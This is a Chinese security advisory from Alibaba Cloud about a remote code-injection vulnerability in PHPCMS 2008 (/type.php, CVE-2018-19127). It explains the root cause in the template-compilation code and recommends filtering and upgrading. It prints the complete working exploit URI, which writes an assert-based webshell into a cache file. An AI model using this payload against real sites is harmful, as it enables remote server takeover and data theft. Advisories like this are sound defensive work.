威胁快报|CVE漏洞—PHPCMS2008 /type.php代码注入高危漏洞预警(CNVD-C-2018-127157/CVE-2018-19127)

本文涉及的产品
云安全中心 免费版,不限时长
简介: 11月4日,阿里云安全首次捕获PHPCMS 2008版本的/type.php远程GetShell 0day利用攻击,攻击者可以利用该漏洞远程植入webshell,导致文件篡改、数据泄漏、服务器被远程控制等一系列严重问题。建议受影响用户尽快升级到最新版本修复。

摘要:11月4日,阿里云安全首次捕获PHPCMS 2008版本的/type.php远程GetShell 0day利用攻击,攻击者可以利用该漏洞远程植入webshell,导致文件篡改、数据泄漏、服务器被远程控制等一系列严重问题。建议受影响用户尽快升级到最新版本修复。

———————
PHPCMS网站内容管理系统是国内主流CMS系统之一,同时也是一个开源的PHP开发框架。

PHPCMS最早于2008年推出,最新版已出到v9.6.3,但由于稳定、灵活、开源的特性,时至今日,PHPCMS2008版本仍被许多网站所使用。

漏洞细节

当攻击者向安装有PHPCMS 2008的网站发送uri为如下文本的payload

/type.php?template=tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss

那么@unlink(_FILE_);assert($_POST[1]);这句恶意php指令将被写入网站的/cache_template/rss.tpl.php文件。

漏洞原理

该漏洞源于PHPCMS 2008源码中的/type.php文件。该文件包含如下代码:

if(empty($template)) $template = 'type';
...
include template('phpcms', $template);

这里template变量是用户能够通过传入参数控制的,同时可以看到该变量之后会被传入template()方法。而template()方法在/include/global.func.php文件中定义,包含如下代码:
template_compile($module, $template, $istag);

不难看出,这里会继续调用/include/template.func.php中的template_compile():

function template_compile($module, $template, $istag = 0)
{
    ...
    $compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
    $content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
    $strlen = file_put_contents($compiledtplfile, $content);
    ...
}

在这个方法中,template变量同时被用于compiledtplfile变量中文件路径的生成,和content变量中文件内容的生成。

而前文所述的攻击payload将template变量被设置为如下的值
tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss

所以在template_compile()方法中,调用file_put_contents()函数时的第一个参数就被写成了data/cache_template/phpcms_tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss.tpl.php,这将被php解析成data/cache_template/rss.tpl.php

最终,@unlink(_FILE_);assert($_POST[1]);将被写入该文件。

影响范围

虽然距离PHPCMS2008版本的推出已经10年,但仍有不少网站正在使用PHPCMS2008,包括政府、企业的网站;根据Fofa网络空间安全搜索引擎的全网精确搜索结果显示,还有近200个使用PHPCMS2008版本的网站;而如果使用模糊匹配对网站进行识别,匹配结果更达上万个。

通过利用该漏洞,攻击者在向路径可控的文件写入恶意脚本代码后,后续将能够向该文件发送webshell指令,在服务器上执行任意代码,因此该代码注入漏洞的影响较大。

安全建议

手动修复
临时解决可以在/type.php文件中对template变量进行过滤,避免用户输入的含有"("、"{"等符号的内容混入,并被当做路径和脚本内容处理。

但由于PHPCMS2008版本过旧,用户应尽量升级到最新版本的PHPCMS,才能够更好地保障安全。

安全加固
•云防火墙已支持对该类漏洞的入侵防御,开启云防火墙IPS拦截模式和虚拟补丁功能,用户即使不自行进行修复,也依然能够进行防御和拦截。
•购买安全管家服务,您将能够在阿里云安全专家指导下进行安全加固及优化,避免系统受到该漏洞及后续其他漏洞影响。

本文作者:阿里云安全团队悟泛

相关文章
拿php写个原生增删改查案例出来(提供全部代码+sql)
拿php写个原生增删改查案例出来(提供全部代码+sql)
拿php写个原生增删改查案例出来(提供全部代码+sql)
|
29天前
|
PHP 开发者 UED
PHP 中的异常处理:提高代码健壮性的关键
【2月更文挑战第28天】在 PHP 开发中,异常处理是确保应用程序稳定性和可靠性的重要环节。本文将深入探讨 PHP 异常的概念、类型及其处理机制,并通过实例演示如何有效地捕获和处理异常,以增强代码的健壮性和用户体验。
php案例:判断这个文件是什么编程语言代码的文件(判断java或者php)
php案例:判断这个文件是什么编程语言代码的文件(判断java或者php)
php案例:判断这个文件是什么编程语言代码的文件(判断java或者php)
php案例:用代码的方式创建目录+文件+写入数据(都由你定)
php案例:用代码的方式创建目录+文件+写入数据(都由你定)
php案例:用代码的方式创建目录+文件+写入数据(都由你定)
|
3月前
|
前端开发 JavaScript PHP
|
3月前
|
前端开发 JavaScript 关系型数据库
PHP代码合集21个邮箱2个问答23个ajax特效
PHP代码合集21个邮箱2个问答23个ajax特效
17 0
|
8月前
|
前端开发 JavaScript 机器人
用PHP实现了一个极验验证功能,如何做?具体代码如何写?
极验验证是一种防机器人的验证机制,可以通过图像识别等方式来判断用户是否为真实用户。
89 1
|
9月前
|
JSON 前端开发 JavaScript
Echarts实战案例代码(15):月收入年龄分段等MYSQL分类统计PHP后台数据管理接口API数据的解决方案
Echarts实战案例代码(15):月收入年龄分段等MYSQL分类统计PHP后台数据管理接口API数据的解决方案
129 0